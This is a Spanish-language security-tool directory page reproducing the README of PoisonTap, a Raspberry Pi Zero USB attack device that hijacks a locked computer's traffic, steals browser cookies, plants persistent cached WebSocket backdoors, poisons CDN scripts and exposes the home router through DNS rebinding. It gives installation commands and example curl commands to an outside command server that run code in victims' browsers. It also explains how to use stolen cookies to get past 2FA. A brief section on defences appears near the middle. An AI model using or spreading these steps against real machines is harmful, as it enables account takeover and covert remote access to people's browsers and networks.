Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
poisontap — Explota ordenadores bloqueados/protegidos con contraseña mediante USB, instala una puerta trasera persistente basada en WebSocket, expone el router interno y extrae cookies usando Raspberry Pi Zero y Node.js. | Kitploit
Herramientas/GitHubGitHub/samyk/poisontap
Mecanismos de PersistenciaExplotaciónMovimiento LateralExfiltración de DatosPost-ExplotaciónSeguridad WebComando y ControlAutenticaciónRed TeamingHerramienta de Acceso Remoto
GitHubsamyk/poisontap

poisontap

6.5k979hace 7 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Explota ordenadores bloqueados/protegidos con contraseña mediante USB, instala una puerta trasera persistente basada en WebSocket, expone el router interno y extrae cookies usando Raspberry Pi Zero y Node.js.

Ver RepositorioSitio web

PoisonTap - extrae cookies, expone el router interno e instala una puerta trasera web en ordenadores bloqueados

Creado por @SamyKamkar || https://samy.pl

Cuando PoisonTap (una Raspberry Pi Zero y Node.js) se conecta a un ordenador bloqueado/protegido por contraseña, hace lo siguiente:

  • emula un dispositivo Ethernet sobre USB (o Thunderbolt)
  • secuestra todo el tráfico de Internet de la máquina (a pesar de ser una interfaz de red de baja prioridad/desconocida)
  • extrae y almacena las cookies y sesiones HTTP del navegador web de los 1.000.000 de sitios web principales de Alexa
  • expone el router interno al atacante, haciéndolo accesible de forma remota a través de WebSocket saliente y DNS rebinding (¡gracias a Matt Austin por la idea del rebinding!)
  • instala una puerta trasera web persistente en la caché HTTP de cientos de miles de dominios y URLs comunes de CDN de Javascript, todo ello con acceso a las cookies del usuario mediante envenenamiento de caché
  • permite al atacante forzar de forma remota al usuario a realizar peticiones HTTP y retransmitir de vuelta las respuestas (GET y POST) con las cookies del usuario en cualquier dominio con puerta trasera
  • no requiere que la máquina esté desbloqueada
  • las puertas traseras y el acceso remoto persisten incluso después de retirar el dispositivo y de que el atacante se marche

PoisonTap

(increíble animación en canvas HTML5 de Ara)

PoisonTap evade los siguientes mecanismos de seguridad:

  • Pantallas de bloqueo protegidas por contraseña
  • prioridad de la Tabla de enrutamiento y orden de servicio de la interfaz de red
  • Política de mismo origen
  • X-Frame-Options
  • Cookies HttpOnly
  • el atributo de cookie SameSite
  • Autenticación de dos factores/multifactor (2FA/MFA)
  • DNS Pinning
  • Cross-Origin Resource Sharing (CORS)
  • protección de cookies HTTPS cuando la bandera de cookie Secure y HSTS no están habilitados

Demostración

PoisonTap está diseñado para la Raspberry Pi Zero de $5 sin ningún componente adicional más que un cable micro-USB y una tarjeta microSD, o puede funcionar en cualquier Raspberry Pi (1/2/3) con un adaptador de Ethernet a USB/Thunderbolt, o en otros dispositivos que puedan emular gadgets USB como USB Armory y LAN Turtle.

Demostración en vivo y más detalles disponibles en el vídeo: MagSpoof

Punto de contacto: @SamyKamkar // https://samy.pl

Publicado: 16 de noviembre de 2016

Código fuente y descarga: https://github.com/samyk/poisontap


Cómo funciona PoisonTap

PoisonTap produce un efecto en cascada explotando la confianza existente en diversos mecanismos de una máquina y de la red, incluidos USB/Thunderbolt, DHCP, DNS y HTTP, para generar un efecto bola de nieve de exfiltración de información, acceso a la red e instalación de puertas traseras semipermanentes.

Network Hijacking

En resumen, PoisonTap realiza lo siguiente:

Secuestro de red

  • El atacante conecta PoisonTap (como una Raspberry Pi Zero armada) a un ordenador bloqueado (aunque el ordenador esté protegido por contraseña)
  • PoisonTap emula un dispositivo Ethernet (p. ej., Ethernet sobre USB/Thunderbolt) —por defecto, Windows, OS X y Linux reconocen un dispositivo Ethernet, lo cargan automáticamente como un dispositivo de red de baja prioridad y realizan una solicitud DHCP a través de él, incluso cuando la máquina está bloqueada o protegida por contraseña
  • PoisonTap responde a la solicitud DHCP y proporciona a la máquina una dirección IP; sin embargo, la respuesta DHCP está diseñada para indicarle a la máquina que todo el espacio IPv4 (0.0.0.0 - 255.255.255.255) forma parte de la red local de PoisonTap, en lugar de una subred pequeña (p. ej., 192.168.0.0 - 192.168.0.255)
    • Normalmente sería irrelevante que un dispositivo de red secundario se conectara a una máquina, ya que se le daría menor prioridad que al dispositivo de red (confiable) existente y no reemplazaría la puerta de enlace para el tráfico de Internet, pero...
    • Cualquier seguridad de tabla de enrutamiento / prioridad de puerta de enlace / orden de servicio de interfaz de red es eludida debido a la prioridad del "tráfico LAN" sobre el "tráfico de Internet"
    • PoisonTap explota este acceso a la red, incluso como dispositivo de red de baja prioridad, porque la subred de un dispositivo de red de baja prioridad recibe mayor prioridad que la puerta de enlace (ruta por defecto) del dispositivo de red de máxima prioridad
    • Esto significa que si el tráfico va destinado a 1.2.3.4, mientras que normalmente ese tráfico llegaría a la ruta por defecto/puerta de enlace del dispositivo de red principal (no PoisonTap), PoisonTap recibe el tráfico porque la red/subred "local" de PoisonTap supuestamente contiene 1.2.3.4, y todas las demás direcciones IP existentes ;)
    • Debido a esto, todo el tráfico de Internet pasa por PoisonTap, aunque la máquina esté conectada a otro dispositivo de red con mayor prioridad y una puerta de enlace adecuada (el wifi, ethernet, etc. reales)

Cookie Siphoning

Extracción de cookies

  • Mientras un navegador web se esté ejecutando en segundo plano, es probable que una de las páginas abiertas realice una solicitud HTTP en segundo plano (por ejemplo, para cargar un nuevo anuncio, enviar datos a una plataforma de análisis o simplemente continuar rastreando tus movimientos web) mediante AJAX o etiquetas dinámicas de script/iframe
  • Puedes comprobarlo por ti mismo: abre tus herramientas de desarrollo/inspector (normalmente Cmd+Shift+I o Ctrl+Shift+I), ve a un sitio web muy visitado, haz clic en la pestaña Network y observa cómo se siguen accediendo a recursos remotos mientras no realizas ninguna acción en la página
  • Ante esta solicitud HTTP, debido a que todo el tráfico sale a través del dispositivo PoisonTap, PoisonTap falsifica DNS sobre la marcha para devolver su propia dirección, haciendo que la solicitud HTTP llegue al servidor web de PoisonTap (Node.js)
    • Si el servidor DNS apunta a una IP interna (LAN) sobre la que PoisonTap no puede obtener privilegios, el ataque sigue funcionando, ya que el servidor DNS interno producirá direcciones IP públicas para los diversos dominios atacados, y son esas direcciones IP públicas las que PoisonTap ya ha secuestrado
    • Una vez que el servidor DNS interno responde, el navegador web accede a la IP pública, llegando en última instancia al servidor web de PoisonTap (Node.js) en cualquiera de los dos escenarios
  • Cuando el servidor web Node recibe la solicitud, PoisonTap responde con una respuesta que puede interpretarse como HTML o como Javascript, ambos se ejecutan correctamente (muchos sitios web cargan HTML o JS en solicitudes de segundo plano)
  • La página independiente de HTML/JS produce entonces numerosos iframes ocultos, cada iframe en un dominio diferente del top 1 millón de Alexa
    • Cualquier seguridad "X-Frame-Options" en el dominio es eludida, ya que PoisonTap es ahora el servidor HTTP y elige qué cabeceras enviar al cliente
    • A medida que se realiza cada solicitud HTTP de iframe a un sitio (p. ej., http://nfl.com/PoisonTap), las cookies HTTP se envían desde el navegador a la "IP pública" secuestrada por PoisonTap, que registra rápidamente las cookies/información de autenticación, almacenando decenas de miles de cookies del usuario en PoisonTap
    • Cualquier seguridad de cookies "HttpOnly" es eludida y esas cookies son capturadas, ya que no se ejecuta Javascript en el propio dominio, sino que solo se usa para cargar el iframe en primer lugar
    • Cualquier seguridad de Cross-Origin Resource Sharing o Same-Origin Policy es eludida, ya que el dominio al que se accede parece legítimo para el navegador

Internal Router Backdoor

Puertas traseras basadas en web accesibles de forma remota

  • Mientras PoisonTap producía miles de iframes, forzando al navegador a cargar cada uno, estos iframes no son en absoluto páginas en blanco, sino puertas traseras HTML+Javascript que se almacenan en caché indefinidamente
  • Debido a que PoisonTap fuerza el almacenamiento en caché de estas puertas traseras en cada dominio, la puerta trasera queda vinculada a ese dominio, lo que permite al atacante utilizar las cookies del dominio y lanzar solicitudes de mismo origen en el futuro, incluso si el usuario no tiene una sesión iniciada actualmente
    • Por ejemplo, cuando se carga el iframe http://nfl.com/PoisonTap, PoisonTap acepta el tráfico de Internet desviado y responde a la solicitud HTTP mediante el servidor web Node
    • Se añaden cabeceras HTTP adicionales para almacenar la página en caché de forma indefinida
  • La respuesta real de la página es una combinación de HTML y Javascript que produce un WebSocket persistente hacia el servidor web del atacante (a través de Internet, no en el dispositivo PoisonTap)
    • El WebSocket permanece abierto, lo que permite al atacante, en cualquier momento futuro, reconectarse a la máquina con puerta trasera y realizar solicitudes a cualquier origen que tenga la puerta trasera implementada (los 1.000.000 de sitios principales de Alexa -- ver más abajo)
    • Si la puerta trasera está abierta en un sitio (p. ej., nfl.com), pero el usuario desea atacar un dominio diferente (p. ej., pinterest.com), el atacante puede cargar un iframe en nfl.com hacia la puerta trasera de pinterest.com (http://pinterest.com/PoisonTap)
    • De nuevo, cualquier seguridad "X-Frame-Options", Cross-Origin Resource Sharing y Same-Origin Policy en el dominio es completamente eludida, ya que la solicitud llegará a la caché que PoisonTap dejó en lugar del dominio real

Raspberry Pi Zero

Puerta trasera en el router interno y acceso remoto

  • La única red que PoisonTap no puede secuestrar es la subred LAN real de la interfaz de red verdadera (por ejemplo, si la subred wifi del usuario es 192.168.0.x, esta red no se ve afectada), pero...
  • PoisonTap fuerza el almacenamiento en caché de una puerta trasera en un host especial, concretamente la IP del router objetivo antepuesta a ".ip.samy.pl", p. ej., 192.168.0.1.ip.samy.pl, produciendo esencialmente un ataque de DNS rebinding persistente
    • Cuando se usa PoisonTap como servidor DNS (la víctima usa un servidor DNS público), PoisonTap responde temporalmente con la IP especializada de PoisonTap (1.0.0.1), lo que significa que cualquier solicitud en ese momento llegará al servidor web de PoisonTap
    • Si, en cambio, el servidor DNS está configurado en la red interna (p. ej., 192.168.0.x), se realiza una solicitud adicional especialmente diseñada a 1.0.0.1**.pin.**ip.samy.pl, que le indica a mi servidor DNS especializado (en Internet público) que responda temporalmente a cualquier dirección [ip.address].ip.samy.pl con la dirección "fijada" (1.0.0.1) durante varios segundos
    • A continuación, PoisonTap instala rápidamente una puerta trasera en http://192.168.0.1.ip.samy.pl/PoisonTap, que por el momento apunta al dispositivo PoisonTap en 1.0.0.1, lo que permite acceder a la puerta trasera y almacenarla en caché desde el dispositivo PoisonTap
  • La seguridad de DNS pinning y DNS rebinding es eludida al agotar la tabla de fijación de DNS, debido a los cientos de miles de solicitudes realizadas justo antes, y no es necesario que se produzca ningún rebinding en el futuro, lo que hace que este ataque sea persistente durante largos períodos de tiempo (gracias a Matt Austin por compartir este ataque conmigo!)
  • Ahora que una puerta trasera está almacenada por la fuerza en caché en http://192.168.0.1.ip.samy.pl/PoisonTap, cualquier solicitud futura a 192.168.0.1.ip.samy.pl llegará a la dirección IP no fijada, haciendo que 192.168.0.1 se resuelva en su lugar, apuntando directamente al router
  • Esto significa que si se carga el host 192.168.0.1.ip.samy.pl/PoisonTap en un iframe de forma remota a través de la puerta trasera, ahora puedes realizar AJAX GET/POST a cualquier otra página del router interno, completamente en remoto, permitiendo así el acceso remoto al router interno
    • Esto puede dar lugar a otros ataques contra el router a los que el atacante quizás nunca habría tenido acceso en primer lugar, como que se utilicen las credenciales de administrador por defecto del router para sobrescribir los servidores DNS, o que se expongan otras vulnerabilidades de autenticación
DNS Rebinding

Resumen del servidor DNS:

  • [ip.addy].ip.samy.pl normalmente responde con [ip.addy]
  • 192.168.0.1.ip.samy.pl -> 192.168.0.1 (registro A)
  • [ip.addy].pin.ip.samy.pl temporalmente (~5 segundos) apunta *.ip.samy.pl a [ip.addy]
    • 1.0.0.1.pin.ip.samy.pl -> 1.0.0.1
    • 192.168.0.1.ip.samy.pl -> 1.0.0.1 (registro A, TTL corto)
    • (después de ~5 segundos)
    • 192.168.0.1.ip.samy.pl -> 192.168.0.1 (registro A)

Puertas traseras adicionales basadas en web accesibles de forma remota

  • Además, PoisonTap reemplaza miles de archivos Javascript comunes basados en CDN, p. ej., los CDN de Google y jQuery, por el código correcto más una puerta trasera que otorga al atacante acceso a cualquier dominio que cargue el archivo Javascript infectado basado en CDN
  • Debido a que se deja una puerta trasera en cada dominio, esto permite al atacante forzar remotamente al navegador con puerta trasera a realizar solicitudes del mismo origen (AJAX GET/POST) en prácticamente cualquier dominio importante, incluso si la víctima no tiene actualmente ninguna ventana abierta hacia ese dominio
  • La puerta trasera ahora residirá en cualquier sitio adicional que también use uno de estos frameworks Javascript de CDN infectados y basados en HTTP cuando la víctima visite el sitio

PoisonTap

Protección contra PoisonTap

Seguridad en el lado del servidor

Si estás ejecutando un servidor web, protegerte contra PoisonTap es sencillo:

  • Usa HTTPS de forma exclusiva, al menos para la autenticación y el contenido autenticado
    • Honestamente, deberías usar HTTPS de forma exclusiva y redirigir siempre el contenido HTTP a HTTPS, evitando que un usuario sea engañado para que proporcione credenciales u otra PII a través de HTTP
  • Asegúrate de que la bandera Secure esté habilitada en las cookies, evitando que las cookies de HTTPS se filtren a través de HTTP
  • Al usar recursos Javascript remotos, utiliza el atributo de etiqueta script de Subresource Integrity
  • Usa HSTS para prevenir ataques de degradación de HTTPS

Seguridad en el escritorio

  • Añadir cemento a tus puertos USB y Thunderbolt puede ser efectivo
  • Cerrar tu navegador cada vez que te alejas de tu máquina puede funcionar, pero es totalmente impracticable
  • Deshabilitar los puertos USB/Thunderbolt también es efectivo, aunque igualmente impracticable
  • Bloquear tu ordenador no tiene ningún efecto, ya que las pilas de red y USB operan mientras la máquina está bloqueada; sin embargo, entrar en un modo de suspensión cifrado en el que se requiere una clave para descifrar la memoria (p. ej., FileVault2 + suspensión profunda) resuelve la mayoría de los problemas, ya que tu navegador no realizará más solicitudes, incluso si se despierta

Descarga

Código fuente: https://github.com/samyk/poisontap


Instalación / Desglose de archivos

Nota: Si descubres que el dispositivo NO actúa como controlador Ethernet automáticamente (por ejemplo, versiones antiguas de Windows), puedes cambiar el VID y el PID en pi_startup.sh```bash

Instructions adjusted from https://gist.github.com/gbaman/50b6cca61dd1c3f88f41

sudo bash

If Raspbian BEFORE 2016-05-10, then run next line:

BRANCH=next rpi-update

echo -e "\nauto usb0\nallow-hotplug usb0\niface usb0 inet static\n\taddress 1.0.0.1\n\tnetmask 0.0.0.0" >> /etc/network/interfaces echo "dtoverlay=dwc2" >> /boot/config.txt echo -e "dwc2\ng_ether" >> /etc/modules sudo sed --in-place "/exit 0/d" /etc/rc.local echo "/bin/sh /home/pi/poisontap/pi_startup.sh" >> /etc/rc.local mkdir /home/pi/poisontap chown -R pi /home/pi/poisontap apt-get update && apt-get upgrade apt-get -y install isc-dhcp-server dsniff screen nodejs

root@kitploit:~
Coloca dhcpd.conf en /etc/dhcp/dhcpd.conf y el resto de los archivos en /home/pi/poisontap, luego reinicia para asegurarte de que todo funciona.

Hay una serie de <a href="https://github.com/samyk/poisontap" target=_blank>archivos en el repositorio</a>, que se utilizan en diferentes lados. La lista:

* **backdoor.html** - Cada vez que se accede a una URL http://hostname/PoisonTap para exfiltrar cookies, este archivo es lo que se devuelve como contenido forzado en caché. Contiene una puerta trasera que produce un websocket saliente hacia samy.pl:1337 (ajustable a cualquier host/puerto) que permanece abierto esperando comandos del servidor. Esto significa que cuando cargas un iframe en un sitio, como http://hostname/PoisonTap, este es el contenido que se rellena (incluso después de que PoisonTap se elimine de la máquina).
* **backend_server.js** - Este es el servidor Node.js que ejecutas en tu servidor accesible desde Internet. Es a lo que se conecta backdoor.html (por ejemplo, samy.pl:1337). Este es el mismo servidor al que te conectas para enviar comandos a tus máquinas minion infectadas con PoisonTap, por ejemplo```bash
# pop alert to victim
curl 'http://samy.pl:1337/exec?alert("muahahahaha")'
# to set a cookie on victim
curl 'http://samy.pl:1337/exec?document.cookie="key=value"'
# to force victim to load a url via ajax (note, jQuery is stored inside the backdoor)
curl 'http://samy.pl:1337/exec?$.get("http://192.168.0.1.ip.samy.pl/login",function(d)\{console.log(d)\})'
  • pi_poisontap.js - Este se ejecuta mediante Node.js en la Raspberry Pi Zero y es el servidor HTTP encargado de gestionar cualquier solicitud HTTP interceptada por PoisonTap, almacenar las cookies extraídas e inyectar las puertas traseras en caché.
  • pi_startup.sh - Este se ejecuta al inicio en la Raspberry Pi Zero para configurar el dispositivo de modo que emule un gadget Ethernet-over-USB, montar nuestro servidor DHCP malicioso, permitir el redireccionamiento de tráfico, el envenenamiento DNS y lanzar el pi_poisontap.js anterior.
  • target_backdoor.js - Este archivo se antepone a cualquier archivo Javascript relacionado con CDN, dejándoles así una puerta trasera, p. ej. la URL de jQuery de Google CDN.
  • target_injected_xhtmljs.html - Este es el código que se inyecta en solicitudes HTTP/AJAX no intencionadas o de segundo plano en la máquina de la víctima y pone en marcha todo el ataque. Está construido de tal manera que puede interpretarse como HTML o como Javascript y seguir ejecutando el mismo código. Además, el increíble canvas de HTML5 es obra del asombroso Ara oen CodePen y era demasiado asombroso como para no incluirlo. Este es el desatino gráfico que aparece cuando PoisonTap se apodera de la página.
  • poisontap.cookies.log - Este archivo se genera cuando la máquina del usuario comienza a enviar solicitudes HTTP a PoisonTap y registra la cookie del navegador junto con la URL/dominio asociado al que pertenece.

Preguntas frecuentes

  • P: ¿Cómo se añaden dominios adicionales a los que se les aplica la puerta trasera?
  • R: La lista de dominios a los que se les aplica la puerta trasera se define en target_injected_xhtmljs.html mediante la función getDoms(). Esta se rellena a su vez con el script alexa1m.sh que se encuentra en la raíz del repositorio. Si deseas añadir dominios adicionales a esta lista, simplemente puedes modificar la llamada de retorno en getDoms().
  • P: ¿Cómo se usan las cookies capturadas?
  • R: Puedes usar la Document.cookie API directamente desde la consola de JavaScript de tu navegador para establecer cookies. Esta publicación de StackOverflow también tiene algunas sugerencias específicas para Chrome, por ejemplo la extensión de Chrome Cookie Inspector.
  • P: ¿Cómo limpio Poisontap de una máquina?
  • R: Debes limpiar la caché DNS del sistema operativo local, así como las cachés del navegador. También puede que necesites invalidar cualquier sesión iniciada en ese momento, ya que podría haber filtrado cookies. Asegúrate de que estas invalidan las cookies existentes, en lugar de simplemente cerrar tu sesión. (Si quieres trabajar de forma segura con un dispositivo PoisonTap en tu máquina actual, asegúrate de salir de cualquier navegador; entonces deberías poder conectarlo de forma segura a tu máquina).

Contacto

Punto de contacto: @SamyKamkar

Puedes ver más de mis proyectos o contactarme en https://samy.pl.

Descargar herramienta
  • Debido a que capturamos cookies en lugar de credenciales, cualquier 2FA/MFA implementado en el sitio es eludido cuando el atacante utiliza la cookie para iniciar sesión. Esto se debe a que no estamos realizando la función de inicio de sesión, sino continuando una sesión ya iniciada que no activa la autenticación de dos factores
  • Si un servidor utiliza HTTPS, pero las cookies no establecen explícitamente la bandera de cookie Secure, la protección HTTPS es eludida y la cookie se envía a PoisonTap